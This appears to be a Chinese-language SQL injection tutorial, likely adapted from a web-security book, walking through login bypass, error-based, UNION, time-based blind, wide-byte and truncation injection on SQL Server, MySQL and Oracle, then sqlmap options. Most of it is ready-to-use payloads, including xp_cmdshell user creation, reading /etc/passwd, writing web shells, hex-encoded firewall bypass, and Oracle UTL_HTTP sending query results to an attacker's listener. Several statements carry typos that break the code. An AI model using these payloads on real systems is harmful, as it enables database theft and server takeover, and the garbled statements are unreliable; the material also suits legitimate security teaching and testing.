SQL 注入漏洞是Web层面最高危的漏洞之一。
想要更好地研究SQL 注入,就必须深入了解每种数据库的SQL 语法及特性。虽然现在的大多数数据库都会遵循SQL 标准,但是每种数据库也有自己的单行函数及特征。下面通过一个经典的万能密码案例,深入浅出地介绍SQL 注入漏洞。
下图是一个正常的登陆表单,输入正确的账号和密码后,JSP 程序会查询数据库:如果存在此用户并且密码正确,将会登陆成功,跳转至“FindMsg”页面;如果用户不存在或者密码错误,则会提示账号或密码错误。
接下来用一个比较特殊的用户
'or 1=1--
登录,密码不需要填写,在点击“登录”按钮后,发现可以正常登录。
经过对源代码分析发现,登陆处最终调用findAdmin 方法,代码如下:
上述SQL 语句的意思非常清楚:在数据库中查询username=xxx,并且password=xxx 的结果,若结果查询的值大于0,则代表用户存在,返回true,代表登陆成功,否则返回false,代表登陆失败。
这段代码看起来没什么错误,现在提交账号为admin,密码为password,跟踪SQL 语句,发现最终执行的SQL 语句为:
select count(*) from admin where username='admin' and password='password'
在数据库中,存在admin 用户,并且密码为password,所以此时返回的结果为1。显然,1大于0,所以通过验证。
接下来输入
'or 1=1--
并跟踪SQL 语句,最终执行SQL 语句为:
select count(*) from admin where uername=''or 1=1 --' and password=''
此时username和password 根本不起任何作用,因为“ username=’’ or 1=1 ”这条语句恒为真,而后面的语句–注释了,
所以即可登陆成功。
由此可知,SQL 注入漏洞的形成主要原因是:用户输入的数据被SQL 解释器执行。
仅仅知道SQL 注入漏洞形成的原因还不足以完美地做好SQL 注入的防护工作,因为它是防不胜防的。下面将介绍攻击者SAL 注入的常用几俩,以做好Web 防注入工作。
在测试注入漏洞之前,首先要搞清楚一个概念:注入漏洞的分类。明白分类之后,可以达到事半功倍的效果。
常见SQL注入类型只有两种:数字型和字符型。
也有人把类型分得更多、更细。但不管注入类型如何,攻击者的目的只有一点,那就是绕过程序限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。
当输入的参数为整型时,如:ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入,数字型注入是最简单的一种。假设有URL为
http://www.xxx.com/test.php?id=8
就可以猜测SQL 语句为:
select * from table where id =8
测试步骤如下
直接在末尾添加一个英文字符单引号:
http://www.xxx.com/test.php?id=8'
SQL 语句此时为:
select * from table where id=8'
从而使页面出现异常。
在末尾添加and 1=1
SQL 语句
select * from table where id = 8 and 1=1
语句执行正常,返回页面没有变化。
在末尾添加and 1=2
SQL 语句变为
select * from table where id=8 and 1=2
返回页面出现异常。
如果以上三个条件全部满足,则程序可能存在SQL 注入漏洞。
这种数字型注入最多出现在ASP、PHP 等弱类型语言中中,弱类型语言会自动推导变量类型,例如id=8,PHP 会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型。而对于Java、C#这类强类型语言,如果试图把一个字符型转换为int 类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。
当输入参数为字符时,称为字符型。数字型与字符型注入的最大区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号闭合。
select * from table where id=8
select * from table where username='admin'
当攻击者进行SQl 注入时,如果输入
admin =1=1
是无法进行注入的。因为“admin and 1=1”会被当做字符串。
此时想要注入则必须注意字符串闭合问题。如果输入
admin' and 1=1--
# 减减空格会将后面的内容注释
就可以进行注入,此时SQL 语句如下:
select * from table where username='admin' and 1=1--
只要是字符串类型的注入,都必须闭合单引号以及注释多余的代码。例如,update 语句:
update Person set username='username',set password='password' where id=1
现在对其进行注入,就需要闭合单引号,可以在username或者password处插入
+(select @@version)+‘
SQL语句就会变为
update Person set username=''+(select @@version)+‘',set password='password' where id=1
注:数据库不同,字符串连接符也不同,如SQL Server连接符号为“+”,Oracle连接符为“||”,MySQL连接符为空格。
为什么这里将SQL 注入只分为了两类——字符型,数字型。因为对数据库查询时,一般只有两种:一种是数字类型,比如where id=1、where age >20,另外是字符串类型,比如where name=‘root’、where datetime>‘2013-08-18’。
那么Cookie 注入、POST 注入又是怎么回事呢?这类注入主要通过注入的位置来分辨。以下是一些常见的注入叫法:
对于大多数数据库而言,SQL 注入的原理基本相似,因为每个数据库都遵循一个SQL 语法标准。但是他们之间也有很多细微的差异,包括语法、函数的不同。所以,在针对不同的数据库注入时,思路和方法不可能完全一样。下列将讨论Oracle 11g、MySQL5.1和SQL Server 2008 三种数据库的注入。
对数据库注入的利用方式可以归为三类:
在权限允许的情况下,通常数据库都支持以上三种操作。而攻击者对程序的注入,无论任何数据库,无非都是在做这三件事情,只不过不同的数据库注入的SQL 语句不一样罢了。
SQl Server 数据库是一个非常优秀的数据库,它可以准确地定位错误消息,但是攻击者也可以利用这一优点。
现有一张表,结构如下:
查询root 用户的详细信息,SQL 语句如下:
select * from users where username='root'
攻击者可以利用SQL Server特性来获取敏感信息,输入如下语句:
' having 1=1--
最终执行语句就变为:
select * from users where username='root' and password='root' having 1=1--'
那么SQL 执行器将会抛出一个错误(因版本差异,显示错误信息也会有差异):
消息8120,级别16,状态1,第2行
选择列表中的列'users.id' 无效,因为该列没有包含在聚合函数或GROUP BY子句中。
就可以发现当前表名为“users”,并且存在“ID”列名,攻击者就可以利用此特性继续得到其它列名,输入以下SQL 语句:
select * from users where username='root' and password='root' group by users.id having 1=1--'
执行器错误提示:
消息8120,级别16,状态1,第1行
选择列表中的列'users. username'无效,因为该列没有包含在聚合函数或GROUP BY 子句中。
可以看到执行器又抛出了“username”列名,由此可见依次递归查询,知道没有错误消息返回为止,纸样就可以利用having字句“查询”出当前表的所有列名。
如果试图将一个字符串与非字符串作比较,或者将一个字符串转化为另外一个不兼容的类型时,那么SQL 编辑器会抛出异常,比如下列的SQL 语句:
select * from users where username='root' and password ='root' and 1 >(select top 1 username from users)
执行器错误提示:
消息245,级别16,状态1,第2行
在将varchar值 'root' 转换成数据类型int时失败。
可以发现root账户即为username中的第一个数据
得到一个数据后,还可以利用此方法还可以得出usernmae字段的所有数据:
select * from users where username='root' and password='root' and 1 > (select top 1 username from users where username not in('root'))
如果不进行嵌入子查询,也可以使数据库报错,这就要用到SQL Server的内置函数CONVERT 或者CASE 函数,其功能分都是:将一种数据类型转换为另外一种数据类型。输入如下SQL语句:
select * from users where username='root' and password='root' and 1=conver(int,(select top 1 user.username from users))
如果觉得递归比较麻烦,还可以通过使用FOR XML PATH 语句将查询的数据生成XML,SQL 语句如下:
select * from users where username='root' and password='root' AND 1=CONVERT(int,(seletct stuff((select ',' + users.username,'|' +users.password from users for xml path('')),1,1,'')))
执行器抛出异常:
消息245,級别16,状态1,第1行
在将nvarchar值' root |root , admin I admin , xxser Ixxser'转换成数据类型int时失败。
SQL Server提供了大量视图,便于取得元数据。下面将使用INFORMATION_SCHEMA.TABLES与INFORMATION_SCHEMA.COLUMNS视图取得数据库表以及表的字段。
取得当前数据库表:
select table_name from information_schema.tables
select column_name from information_schema.columns where table_name='Student'
常见表视图:
数据库视图 | 说明 |
---|---|
sys.databases | SQL Server 中的所有数据库 |
sys.sql_logins | SQL Server 中的所有登录名 |
information_schema.tables | 当前用户数据库中的表 |
information_schema.columns | 当前用户数据库中的字段 |
sys.all_columns | 用户定义对象和系统对象的所有列的联合 |
sys.database_principals | 数据库中每个权限或列异常权限 |
sys.database_files | 储存在数据库中的数据库文件 |
sysobjects | 数据库中创建的每个对象(例如约束、日志以及储存过程) |
微软解释 Order by 子句:为SELECT 查询列排序,如果同时指定了TOP 关键字,Order by 子句在视图、内联函数、派生表和子句查询中无效。
通常利用注入Order by 语句来判断此表的列数。
由此可以看出此表有三列。在Oracle、MySQL 数据库中同样适用此语句。
在得知列数后,通常配合UNION 关键字进行下一步攻击。
UNION 关键字将两个或者多个查询结果组合为单个结果集,俗称联合查询,大部分数据库都支持UNION 查询,如:MySQL、SQL Server、Oracle、DB2 等。下面列出了使用UNION 合并两个查询结果集的基本原则。
前面介绍的USER 表中,查询id字段为1的用户,正常的SQL 语句为:
select id,username,password,sex from users where id = 1 union select null
数据库发出异常:
递归查询,直到无错误产生,可得知User 表查询的字段数:
union select null,null
union select null,null,null
也有人喜欢用
union select 1,2,3
语句,不过该语句容易出现不兼容的异常。
前面介绍了如何获取字段数,接下来介绍如何查询敏感信息,UNION 查询可以在SQL 注入中发挥非常大的作用。
如果得值列数是4,可以使用以下语句继续注入:
id = 5 union select 'x',null,null,null from sysobject where xtype='U'
如果第一列数据类型不匹配,数据库将会报错,这时可进行递归查询,直到语句正常执行。
id = 5 union select null,'x',null,null from sysobject where xtype='U'
id = 5 union select null,null,'x',null from sysobject where xtype='U'
语句执行正常代表数据类型兼容,就可将x换为SQL 语句,查询敏感信息。
也有攻击者喜欢用UNION ALL 关键字,UNION 和UNION ALL 的最大区别在于前者会自动去除重复的数据,并按照默认规则排序。
SQL Server 提供了非常多的系统函数,利用该系统函数可以访问SQL Server 系统表中的信息,而无需使用SQL 语句查询。
使用系统函数非常简单:
SQL Server 常用函数:
函数 | 说明 |
---|---|
stuff | 字符串截取函数 |
ascii | 取ASCII码 |
char | 根据ASCII码取字符 |
getdate | 返回日期 |
count | 返回组中的总条数 |
cast | 将一种数据类型的表达式显示转换为另一种数据类型的表达式 |
rand | 返回随机值 |
is_srvrolemember | 指示SQL Server 登录名是否为指定服务器角色的成员 |
储存过程是在大型数据库系统中为了完成特定功能的一组SQL “函数”,如执行系统命令、查看注册表、读取磁盘目录等。
攻击者最常使用的储存过程是“xp_cmdshell”,这个储存过程允许用户执行操作系统命令。
例如:http://www.test.com/test.aspx?id=1存在注入点,那么攻击者就可以试试命令攻击:
http://www.test.com/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
注:并不是任何数据库用户都可以使用此类储存过程,用户必须持有CONTROL SERVER 权限。
像xp_cmdshell 之类的储存过程还有很多,常见的如下:
过程 | 说明 |
---|---|
sp_ addlogin | 创建新的SQL Server 登录,该登录允许用户使用SQL Server 身份验证连接到SQL Server 实例 |
sp_ dropuser | 从当前数据库中删除数据库用户 |
xp_ enumgroups | 提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表 |
xp_ regwrite | 未被公布的存储过程,写入注册表 |
xp_ regread | 读取注册表 |
xp_ regdeletevalue | 删除注册表 |
xp_ dirtree | 读取目录 |
sp_ password | 更改密码 |
xp_ servicecontrol | 停止或激活某服务 |
攻击者可能会自己写一些储存过程,比如I/O 操作,这些都是可以实现的。
另外,任何数据库在使用一些特殊的函数或者储存过程时,都需要特定的权限,否则无法使用。
SQLServer 数据库的角色与权限如下:
角色 | 权限 |
---|---|
bulkadmin | 角色成员可以运行BULK INSERT语句。 |
dbcreator | 角色成员可以创建、更改、删除和还原任何数据库。 |
diskadmin | 角色成员可以管理磁盘文件。 |
processadmin | 角色成员可以终止在数据库引擎实例中运行的进程。 |
securityadmin | 角色成员可以管理登录名及其属性。可以利用GRANT、DENY和REVOKE服务器级别的权限;还可以利用GRANT、DENY和REVOKE数据库级别的权限。此外,也可以重置SQL Server登录名的密码。 |
serveradmin | 角色成员可以更改服务器范围的配置选项和关闭服务器。 |
setupadmin | 角色成员可以添加和删除链接服务器,并可以执行某些系统存储过程。 |
sysadmin | 角色成员可以在数据库引擎中执行任何活动。默认情况下,Windows BUILTIN\Administrators组(本地管理员组)的所有成员都是sysadmin固定服务器角色的成员。 |
SQL Server 支持动态执行语句,用户可以提交一个字符串来执行SQL 语句,例如:
exec('select username,password from users')
exec('select'+'t username,password fro'+'m users')
也可以通过定义十六进制的SQL 语句,使用exec 函数执行。大部分Web 应用程序防火墙都过滤的单引号,利用exec 执行十六进制SQL 语句并不存在单引号,这一特性可以突破很多防火墙及防注入程序,如:
declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)
或者
declare/**/@query/**/varchar(888)/**/select/**/ @query=0x73656C6563742031/**/exec (@query)
在上一节中详细描述了SQL Server 的注入过程,在注入其他数据库时,思路也是基本相同的,只不过两者使用的函数或语句稍有差别。比如,查看数据库版本,SQL Server 使用得函数为@@version,而MySQL 是 version()。
MySQL有以下3中风格的注释:
其中,“/* */” 注释存在一个特点,如下:
select id/*!55555,username*/ from users
执行结果如下:
发现“/* */”没有起到注释作用,其实在这里
/*!55555,username*/
的意思表示的是:如果MySQL版本号高于或者等于5.55.55语句注释内的内容就将会被执行
MySQL 5.0 及以上版本提供了INFORMATION_SCHEMA,INFORMATION_SCHEMA 是信息数据库,他提供了访问数据库元数据的方式。下面将介绍如何从中读取数据库名称、表名称及列名称。
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1
语句含义为:从INFORMATION_SCHEMA.SCHEMATA 表中查询出第一个数据库名称。INFORMATION_
SCHEMA.SCHEMATA 表提供了关于数据库的信息。
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA= (select DATABASE()) limit 0,1
语句含义为:从INFORMATION_SCHEMA.TABLES 表中查询当前数据库表名,并且只显示一条数据,
INFORMATION_SCHEMA.TABLES 表给出了关于数据库中表的信息。
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student' LIMIT 0,1
语句含义为:从 INFORMATION_SCHEMA.COLUMNS 表中查询 TABLE_NAME 为 Student 的字段名,并且只显示第一条。
INFORMATION_SCHEMA.COLUMNS 表给出了表中列的信息。
MySQL 官方解释UNION 查询用于把来自许多SELECT 语句的结果组合到一个结果集合中,并且每列的数据类型必须相同。
MySQL 与 Oracle 并不像SQL Server 那样可以执行多语句。所以,在利用查询时,通常配合UNION 关键字。
前面已经详细讲述了SQL Server 中的UNION 查询。SQL Server 与MySQL、Oracle 中的UNION 关键字的使用基本相同,但也有少许差异:
分别在SQL Server、Mysql、Oracle 中执行以下SQL 语句:
select id,username,password from users union select 1,2,3
SQL Server 和Oracle 语句错误,数据类型不匹配,无法正常执行。
而MySQL 语句正常执行。
所以在不知道数据库类型的前提下,最好用NULL关键字匹配。
无论是MySQL、Oracle,还是气他数据库都内置了许多系统函数。接下来将深入讨论对渗透测试人员很有帮助的MySQL 函数。
使用MySQL 读取磁盘文件非常简单,可以直接利用MySQL 提供的load_file() 函数,但是要满足以下四点条件:文件的位置必须位于服务器上,文件路径也必须是绝对路径,用户还要要有FILE 权限,容量也必须小于max_allowed_packet(默认为16MB,最大为1GB)。
SQL 语句如下:
union select 1,load_file('/etc/passwd'),3,4,5,6 #
通常,一些防注入语句不允许单引号出现,那么使用以下语句绕过:
union select 1,load_file(0x2F6563742F706173737764),3,4,5,6 #
union select 1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6 #
union select 1,hex(load_file(char(47,101,99,116,47,112,97,115,115,119,100))),3,4,5,6 #
MySQL 提供了向磁盘写入文件的操作,与load_file() 一样,必须有FILE 权限,并且文件路径必须为绝对路径。
写入文件:
select '' into outfile 'c:\wwwroot\1.php'
编码:
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'
在MySQL 查询中,如果需要一次查询多个数据,可使用concat() 或者concat_was() 函数来完成。
select name from student where id =1 union select concat(user(),',',database(),',',version());
查询结果如下:
可以发现,现在三个值已经成为了一列,并且以逗号隔开。在concat() 函数中也可以十六进制数表示:
select name from student where id =1 union select concat(user(),0x2c,database(),0x2c,version());
select name from student where id =1 union select concat_ws(0x2c,user(),database(),version());
第一个符号就表示分隔符
常用MySQL 函数以及说明
函数 | 说明 |
---|---|
length | 返回字符串长度 |
substring | 截取字符串长度 |
ascii | 返回ASCII码 |
hex | 将字符串转换为十六进制 |
now | 当前系统时间 |
unhex | hex 的反向操作 |
floor(x) | 返回不大于x的最大整数值 |
md5 | 返回MD5 值 |
group_concat | 返回带有来自一个组的连接的非NULL 值得字符串结果 |
@@datadir | 读取数据库路径 |
@@basedir | MySQL安装路径 |
@@version_compile_os | 操作系统 |
user | 用户名 |
current_user | 当前用户名 |
system_user | 系统用户名 |
database | 数据库名 |
version | MySQL 数据库版本 |
同样使用这些函数也需要对应的权限
MySQL 函数的权限:
权限 | 权限级别 | 权限说明 |
---|---|---|
CREATE | 数据库、表或索引 | 传建数据库、表或索引权限 |
DROP | 数据库或表 | 删除数据库或表权限 |
GRANT OPTION | 数据库、表或保存的程序 | 赋予权限选项 |
ALTER | 表 | 更改表,比如添加字段 |
DELETE | 表 | 删除数据权限 |
INDEX | 表 | 索引权限 |
INSERT | 表 | 插入数据权限 |
SELECT | 表查询权限 | |
UPDATE | 表 | 更新权限 |
CREATE VIEW | 视图 | 创建视图权限 |
SHOW VIEW | 视图 | 查看视图权限 |
ALTER ROUTINE | 储存过程 | 更改储存过程权限 |
CREATE ROUTINE | 储存过程 | 创建储存过程权限 |
EXECUTE | 储存过程 | 执行储存过程权限 |
FILE | 服务器主机上的文件访问 | 文件访问权限 |
CREATE TEMPORARY TABLES | 服务器管理 | 创建临时表权限 |
LOCK TABLES | 服务器管理 | 锁表权限 |
CREATE USER | 服务器管理 | 创建用户权限 |
PROCESS | 服务器管理 | 查看进程权限 |
RELOAD | 服务器管理 | 执行flush-hosts 、flush-logs 、flush-privileges 等命令权限 |
REPLICATION CLIENT | 服务器管理 | 复制权限 |
REPLICATION SLAVE | 服务器管理 | 复制权限 |
SHOW DATABASES | 服务器管理 | 查看数据库权限 |
SHUTDOWN | 服务器管理 | 关闭数据库权限 |
SUPER | 服务器管理 | 执行kill线程权限 |
MySQL 也存在显错式注入,可以像SQL Server 数据库那样,使用错误提取消息。
对于SQL Server 方式,比如将一个字符串转换为Int 类型,SQL Server 将会报错,同样的方式,在MySQL 数据库中使用类似的如下转换语句:
select convert((select @@version),SIGNED);
发现根本没有错误消息。虽然MySQL 不能直接转换报错,但可以利用MySQL 中的一些特性提取信息。
select * from message where id = 1 and updatexml(1,(concat(0x7C,(select @@version))),1);
select * from message where id = 1 and extractvalue(1,concat(0x7C,(select user())));
select * from message where id = 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b
显示结果如下:
通过此类函数,可以达到与SQL Server 数据库显错类似的效果。
宽字节漏洞是由编码不统一造成的,这种注入一般出现在PHP+MySQL 中。
在PHP 配置文件php.ini 中存在magic_quotes_gpc 选项,被称为魔术引号,当此选项被打开时,使用GET、POST、Cookie 所接收的“ ’ ”(单引号)、“ " ”(双引号)、“ \ ”(反斜杠)和NULL 字符都会被自动打上一个反斜线转义,如下PHP 代码使用$_GET 接受数据:
echo " input:"
.$_GET['id']."";
?>
访问URL:
http://www.test.com/Get.php?id='
返回结果:
input:\'
再次访问URL:
http://www.test.com/Get.php?id=%d5
返回结果:
input:誠'
可以发现,此次单引号没有被转义,而是变成了“誠”,这样就可以突破PHP 的转义,继续闭合SQL 语句进行注入。
MySQL 超长字符截断又名“SQL-Column-Truncation”,是安全研究者Stefan Esser 提出的。
在MySQL 中的设置里有一个sql_mode 选项,当sql_mode 设置为default 时,即没有开启STRICT_ALL_TABLES 选项时(MySQL sql_mode 默认即default),MySQL 对插入超长的值只会提示warning,而不是error,这样就可能导致一些阶段问题。
新建一张表测试,表的结构如下:
CREATE TABLE USERS (
id int(11) NOT NULL,
username varchar(7) NOT NULL,
password varchar (12) NOT NULL
)
分别插入以下SQL 语句:
MySQL 提示三条语句都已经插入到数据库,只不过后面两条语句产生了警告。那么最终有没有插入数据库呢?执行SQL 语句查看一下就知道了。
select username from users;
可以看到,三条数据都被插入到了数据库,但是值发生了变化,此时再通过length 来去的长度,判断值的长度。
select length(username) from users where id = 1;
select length(username) from users where id = 2;
select length(username) from users where id = 3;
可以发现,第二条与第三条长度都为7,也就是列的规定长度,由此可知,在默认情况下,如果数据超出默认长度,MySQL 会将其截断。
但这样如何攻击呢?下面查询用户名 ‘admin’ 就知道了。
select username from where username = 'admin';
只查询用户名为admin 的用户,但是另外两个长度不一致的admin 用户也被查询出,这样就会造成一些安全问题,比如,有一些管理员登录是这样判断的,语句如下:
$sql = "select count(*) from users where username='admin' and password='*****'";
假设这条SQL 没有任何注入漏洞,攻击者也可能登录到管理页面。
假设管理员登录名为admin ,那么攻击者只需注册一个用户名为“admin(若干空格)”的用户即可轻松进入后台管理页面,就像著名的WordPress 就被这样的方式攻击过。
在前面的章节提到过,可以在URL 参数提交单引号等特殊语句,然后根据页面差异来判断是否存在SQL 注入漏洞。而到现在,一般网站页面做得非常好,无论在参数后面加什么语句都不会变化,这样一来,只能盲注判断,盲注的意思即页面无差异的注入。
延时注入属于盲注技术的一种,是一种基于时间差异注入技术,下面将以MySQL 为例讲解延时注入。
在MySQL 中常有一个函数:SLEEP(duration),这个函数的意思是在duration 参数给定的秒后运行语句,如下SQL 语句:
select * from users where id = 1 and sleep(3);
意思就是三秒后执行SQL 语句
知道了sleep 函数可以延时后,那么就可以使用这个函数来判断URL 是否存在SQL 注入漏洞,步骤如下:
http://www.test.com/test.jsp?id=1 // 页面返回正常,1秒左右可以打开页面
http://www.test.com/test.jsp?id=1' // 页面返回正常,1秒左右可以打开页面
http://www.test.com/test.jsp?id=1' and 1=1 //页面返回正常,1秒左右可以打开页面
http://www.test.com/test.jsp?id=1 and sleep(3) // 页面返回正常,3秒左右可以打开页面
通过页面返回的时间可以断定,DBMS 执行了and slepp(3) 语句,这样一来就可以判断URL 存在SQL 注入漏洞。
通过sleep 函数不仅可以判断注入点,还能读取数据,下面是通过延时注入读取当前MySQL 用户的例子。
思路:
①:查询当前用户,并取得字符串长度。
and if(length(user())=0,sleep(3),1)
// 循环0,如果出现3秒延时,就可以判断字符串长度,注入式通常采用折半法判断
②:截取字符串第一个字符,并转换为ASCII 码。
and if(hex(mid(user(),1,1))=1,sleep(3),1)
// 取出user 字符的第一个字符,然后与ASCII 码循环对比
③:将第一个字符的ASCII 码与ASCII 码表对比,如果成功将延时三秒。
and if(hex(mid(user(),L,1))=N,sleep(3),1)
// 递归破解第二个ASCII 码、第三个ASCII 码,直至字符串最后一个字符为止。
注:L代表字符串第几个字符的位置,N代表其ASCII 码
同理,既然通过延时注入可以读取当前MySQL 用户,那么读取表、列、文件都是可以实现的。
不仅在MySQL 中存在延时注入函数,在SQL Server、Oracle 等数据库中也都存在类似功能的函数,比如SQL Server 中的waitefor delay、Oracle 中的DBMS_LOCK.SLEEP 等函数。
Oracle 中同样无需担心表名是否可以猜解,因为Oracle 也支持查询元数据,下面是Oracle 注入中常用的元数据视图。
select tablespace_name from user_tablespaces
select table_name from user_tables where rownum = 1
select column_name from user_tab_columns where table_name='users'
select object_name from user_objects
以上5种视图是最常用于读取元数据的方式。
Oracle 与MySQL 一样,是不支持多语句执行的,不像SQL Server 那样可以注入多条SQL 语句,如:
http://www.test.com/news.aspx?id=1;exec xp_cmdshell 'net user temp test /add' --
在Oracle 普通注入时,与其他数据库几乎是相同的,比如,以下URL 存在注入漏洞:http://www.test.com/news.aspx?id=1,且数据库为Oracle,在注入时使用最频繁的还是UNION 查询,步骤如下:
获取列的总数与SQL Server 类似,依然可以使用Order by 子句来完成,如:Order by 1,Order by 2,Order by 3,Order by n,直到与原始请求返回数据不同。
另一种办法是使用union 关键字来确定,但Oracle 规定,每次查询时后面必须跟表名称,如果没有表名称,那么查询将不成立。也就是说,是一个错误的SQL 语句,在MySQL 或 SQL Server,中可以直接使用:
union select null,null,null...
但在Oracle 中必须使用:
Union select null,null,null... from dual
此时的dual 就是Oracle 的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。
Oracle 也是强类型数据库,不想MySQL 那样可以直接 union select 1,2,3…(数据类型不明确时),Oracle 必须明确数据类型,所以一般都使用null 来代替。
Oracle 与其他数据库注入类似,可以获取一些敏感信息,对下一步渗透起到辅助作用,常见的敏感信息如下。
在得知表的列数后,可以通过查询元数据的方式查询表名称、列,然后查询数据,如:
http://www.test.com/news.jsp?id=1 union select username,password,null from users--
这里需要注意的是,在查询数据时,同样要注意数据类型,否则无法查询,这只能一一测试。
http://www.test.com/news.jsp?id=1 union select username,null,null from users--
http://www.test.com/news.jsp?id=1 union select null,username,null from users--
http://www.test.com/news.jsp?id=1 union select null,null,username from users--
另外,在得知列数后,可以通过暴力猜解的方式来枚举表名称,如:
http://www.test.com/news.jsp?id=1 union select null,null,null from tableName--
同样也可以使用相同的办法枚举例如:
http://www.test.com/news.jsp?id=1 union select columns,null,null from tableName--
http://www.test.com/news.jsp?id=1 union select null,columns,null from tableName--
Oracle 包可以分为两部分,一部分是包的规范,相当于Java 中的接口,另一部分是包体,相当于Java 里的实现类,实现了具体操作。
在Oracle 中,存在许许多多的包,为开发者提供了许多便利,同时也为攻击者打开了大门,如:执行系统命令、备份、I/O 操作等。
在Oracle 注入中,攻击者大概都知道一个包:UTL_HTTP,该包提供了对HTTP 的一些操作,比如:
SELECT UTL_HTTP.REQUEST('http://wwwbaidu.com') FROM DUAL;
执行这条SQL 语句,将会返回baidu.com 的HTML 源码。很多时候页面不能直接回显,攻击者可以利用此包将数据反弹到一个外网IP 查看,具体步骤如下:
nc -l -vv -p 8888
and UTL_HTTP.request('http://IP:8888/'||(SQL 语句))=1--
通过这两步可以反弹数据,但前提是该服务器可以联网,且UTL_HTTP 必须存在,判断UTL_HTTP 是否存在可以使用以下SQL 语句:
select count(*) from all_objects where object_name='URL_HTTP'
没有接触过Oracle 的读者可能会问:这不是其他数据库中的数据吗?确实有点类似,不过不是。
有读者可能更关心的是Oracle 的I/O 能力,或者是如何调用系统命令。以Oracle 读写文件为例,在Oracle 中提供了包UTL_FILE 专门用来操作I/O,对磁盘文件读取操作的步骤如下:
create or replace directory XXSER_DIR as 'C:\'
declare
xs_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
xs_file := utl_file.fopen('XXSER_DIR','bug.jsp','W');--写入名称
utl_file,put_line(xs_file,'木马后门'); --写入字符串,每次写一行
utl_file.put_line(xs_file,'木马后门2'); --写入字符串,如果只写一行,这行可以删了
utl_file.fflush(xs_file); --刷缓冲
utl_file.fclose(xs_file); --关闭文件指针
end;
写文件只需要两步,读文件也是两步。
create or replace directory XXSER_DIR as 'D:\';
declare
xs_file utl_file.file_type; --定义变量.
fp_buffer varchar2(4000); --读取文件大小
begin
xs_file := ut1_ file.fopen('XXSER_DIR','xxser.jsp','R'); --指定文件
utl_file.get_line(xs_file,fp_buffer); --读取一行放到fp_buffer 变量
dbms_output.put_line(fp_buffer);--在终端输出结果
utl_file.fclose(xs_file); --关闭文件指针
end;
SQLMap 的特点如下:
sqlmap -u "http://www.test.com/user.jsp?id=1"
使用-u 参数指定URL,如果URL 存在注入点,将会显示出Web 容器、数据库版本信息。
sqlmap -u "http://www.test.com/user.jsp?id=1" --dbs
sqlmap -u "http://www.test.com/user.jsp?id=1" --current-db
sqlmap -u "http://www.test.com/user.jsp?id=1" --table -D "dbname"
dbname代表你要查询表的数据库名
sqlmap -u "http://www.test.com/user.jsp?id=1" --columns -T "tableName" -D "dbName"
sqlmap -u "http://www.test.com/user.jsp?id=1" --dump -C "columnsName1,columnsName2,columnsName3" -T "tableName" -D "dbName"
sqlmap -u [URL] --privileges
// 测试所有用户的权限
sqlmap -u [URL] --privileges -U sa
// 测试sa用户的权限
注意:参数严格区分大小写
sqlmap -u [URL] --os-cmd="net user"
// 执行net user 命令
sqlmap -u [URL] --os-shell
// 系统交互的shell
sqlmap -u [URL] --current-db
sqlmap -u [URL] --sql-shell
// 返回SQL 交互的Shell,可以执行SQl 语句
sqlmap -u [URL] --sql--query="sql"
sqlmap -u [URL] --data "POST 参数"
sqlmap -u [URL] --dbs -v 1
-v参数包含以下七个等级
sqlmap -r head.txt --dbs
// head.txt内容为HTTP 请求
sqlmap -d "mysql://admin:[email protected]:3306/testdb" --dbs
sqlmap -u [URL] --level 3
sqlmap -u "http://www.test.com/id/2*.html" --dbs
某些网站采用了伪静态页面,这时使用SQLMap 不能识别哪里是对服务器提交的参数,所以SQLMap 提供了“*”参数,将SQL 语句插入到指定位置,这一用法常用语伪静态注入。
同样-r 参数对HTTP 请求注入时,也可以在文本中插入*号,如:
POST /login.php HTTP/1.1
Host: www.secbug.org
User-Agent: Mozilla/5.0
username=admin*&password=admin888 //注入username 字段
sqlmap -u [URL] -tamper "space2morehash.py"
SQLMap 自带了非常多插件,插件都保存在SQLMap 目录下的tamper 文件中,这些插件通常用来绕过WAF。
参数 | 说明 |
---|---|
-b | 获取banner |
-P | 指定测试参数 |
-g | 从Google中获取URL,-g “inurl:aspx?id=” |
–gpage=GOOGLEPAGE | 指定Google页码 |
–union-check | 是否支持union注入 |
–union-cols | union查询表记录 |
–union-test | union语句测试 |
–union-use | 采用union注入 |
–proxy | 代理注入 |
–threads | 采用多线程 |
–user-agent | 自定义user-agent |
–referer-REFERER | HTTP referer头 |
–proxy=PROXY | 使用代理 |
–string | 指定关键词 |
–tor | 创建tor的匿名网络 |
–predict-output | 常见的查询输出预测 |
–keep-alive | 使用持久HTTP (S)连接 |
–eval=EVALCODE | 使用HTTP参数污染 |
-a/-all | 查询所有 |
–hostname | 主机名 |
–is-dba | 是否是管理员权限 |
–users | 枚举所有的用户 |
–passwords | 枚举所有的用户密码 |
–roles | 枚举所有的用户角色 |
–schema | 枚举DBMS模式 |
–Count | 检索所有的条目数 |
–dump | 转存DBMS数据库表项目,需要制定字段名称(列名称) |
–dump-all | 转存DBMS数据库所有的表项目 |
–search | 搜索列、表或数据库名称 |
–exclude-sysdbs | 在枚举表时排除系统数据库 |
–sql-query=query | 执行SQL语句 |
–file-read=RFILE | 读取操作 |
–file-write=WFILE | 写入操作 |
–file-dest=DFILE | 绝对路径写入 |
–reg-read | 读取一个Windows注册表项值 |
–reg-add | 增加一个Windows注册表项值数据 |
–reg-del | 删除一个Windows注册表项值数据 |
–reg-key=REGKEY | Windows注册表键 |
–reg-value=REGVAL | Windows注册表键值 |
–reg-data=REGDATA | Windows注册表的键值项数据 |
–reg-type=REGTYPE | Windows注册表键的值类型 |
